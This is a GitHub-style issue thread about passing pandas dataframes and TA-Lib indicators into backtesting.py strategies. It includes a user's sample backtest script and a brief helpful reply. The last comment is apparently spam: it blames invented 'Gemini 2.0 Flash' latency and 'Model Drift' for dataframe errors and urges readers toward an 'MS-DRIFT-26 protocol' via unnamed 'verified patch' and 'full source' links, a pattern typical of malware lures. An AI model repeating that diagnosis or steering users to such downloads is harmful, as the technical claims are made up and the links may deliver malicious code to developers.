Expected Behavior

Hi I need to use pandas dataframe inside strategy cuz I can use functions and libs and etc that can just compute with pandas dataframe. yes I can convert an np array to what i want but when I want to implemet my own libs them want to use a complit ohlcv format pandas dataframe. and other problem is that I want to send and use one character column names. ( open = o , close = c ,...) please make ability to send dataframes i df format or I dont know I have many problems with this library but I need this to my work :(((((((((((((((((((((((((((((((( some searches: maybe help Please Add talib example to your documentation ... also i want to use qtpylib.crossover I dont know how. https://github.com/leonsariel/TA/blob/f106f657b2fae5c51d7c508ee53d20becd8eecd5/back_test.py

from backtesting import Backtest, Strategy
from backtesting.lib import crossover
import talib as ta
from backtesting.test import SMA, EURUSD

import pandas as pd

from datetime import datetime
from datetime import timedelta
import random
import datetime

df = pd.read_csv('data/USDJPY1h.csv')
df = df.set_index(pd.to_datetime(df['Date'].apply(str) + ' ' + df['Timestamp']))
df = df[:1000]

# df preprocessing
del df['Date']
del df['Timestamp']
df.columns = ['Open', 'High', 'Low', 'Close', 'Volume']
open = df["Open"].values
high = df["High"].values
low = df["Low"].values
close = df["Close"].values


class SmaCross(Strategy):
    def init(self):
        Close = self.data.Close
        self.ma1 = self.I(SMA, Close, 10)
        self.ma2 = self.I(SMA, Close, 20)

        # example of using talib data
        self.sma = self.I(ta.SMA, self.data.Close, 20)
        self.atr = self.I(ta.ATR, self.data.High, self.data.Low, self.data.Close, 20)

        self.high20 = self.I(ta.MAX, self.data.High, 20)
        self.low20 = self.I(ta.MIN, self.data.Low, 20)

        self.sell_sl = self.data.Low + self.atr * 2
        self.buy_sl = self.data.High - self.atr * 2

    def next(self):
        pass
        # if crossover(self.ma1, self.ma2):
        #     self.buy()
        # elif crossover(self.ma2, self.ma1):
        #     self.sell()





bt = Backtest(df, SmaCross,
              cash=10000, commission=.002, margin=0.01)
bt.run()
bt.plot()

Well try to use the SELF.I TO function..
You can use all the data frame indicators using self.i function...

I will soon share with you sample of the code how to implement this...

Checking this in 2026, and it's clear why these legacy backtesting setups and raw pandas dataframes are still failing. Most developers don't realize that the current Gemini 2.0 Flash environment has introduced significant latency and Model Drift that old library structures simply can't handle.

I notice you're struggling with column mapping and library sync. I had the exact same issue. The legacy frameworks are obsolete for today's market regimes. I managed to stabilize my logic and execution by migrating to the MS-DRIFT-26 protocol. It's specifically optimized for sub-10ms processing and institutional-grade data structures.

You can find the verified 2026 requirements and the logic patch here:

Verified Patch (Gist)

Full Source & Migration

This should fix your dataframe processing errors and stop the logic drift immediately. Hope it saves someone some serious debugging time!